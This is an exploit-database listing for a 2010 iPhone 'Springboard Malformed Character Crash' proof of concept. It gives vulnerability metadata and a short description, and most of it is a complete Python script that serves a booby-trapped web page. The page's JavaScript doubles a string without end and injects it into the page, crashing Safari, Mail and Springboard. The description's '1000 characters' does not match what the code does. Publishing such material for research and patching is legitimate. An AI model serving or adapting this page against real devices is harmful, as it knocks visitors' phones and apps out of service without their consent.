header-logo
Suggest Exploit
vendor:
iPhone
by:
Chase Higgins
7,5
CVSS
HIGH
Malformed Character Crash
119
CWE
Product Name: iPhone
Affected Version From: iPhone OS 3.1
Affected Version To: iPhone OS 3.1.3
Patch Exists: N/A
Related CWE: N/A
CPE: apple.com/iphone/
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: iPhone 2G, iPhone 3GS
2010

iPhone Springboard Malformed Character Crash PoC

This exploit acts as a webserver and causes Safari, as well as Mail and Springboard to crash when run on an iPhone. The exploit uses a JavaScript function to create a string of 1000 characters and assign it to a div element, which causes the crash.

Mitigation:

N/A
Source

Exploit-DB raw data:

#!/usr/bin/python

#iPhone Springboard crash PoC by Chase Higgins. Devices tested: iPhone 2G @ OS 3.1, iPhone 3GS @ 3.1.3
#this script acts as webserver, and causes Safari, as well as Mail and Springboard to crash
#all these apps crash after running this exploit on the iPhone. Unable to debug any of these processes as the gdb on my 
#device is acting up, original iPhone is just too low memory to further test this exploit, so I am releasing it

# Exploit Title: iPhone Springboard Malformed Character Crash PoC
# Date: 3/15/2010
# Author: Chase Higgins
# Software Link: apple.com/iphone/
# Version: iPhone 2G, iPhone 3GS
# Tested on: iPhone OS 3.1, and iPhone OS 3.1.3
# CVE : 
# Code : none

import sys, socket;

def main():
	html = """
	<html>
	<head>
	<script>
	function triggerCrash(){
		evil_div = document.getElementById('evilDiv');
		var evil_string = "\x4e\x5b\x01";
		i = 0;

		while (i < 1000){
			evil_string = evil_string + evil_string;
		}

		evil_div.innerHTML = evil_string;
	}
	</script>
	</head>
	<body onLoad="triggerCrash()">
	<div id="evilDiv">
	 
	</div>
	</body>
	</html>
	""";

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
	s.bind(('',2121));
	s.listen(1);
	
	while True:
		channel, details = s.accept();
		print channel.recv(1024);
		channel.send(html);
		channel.close();
	
main();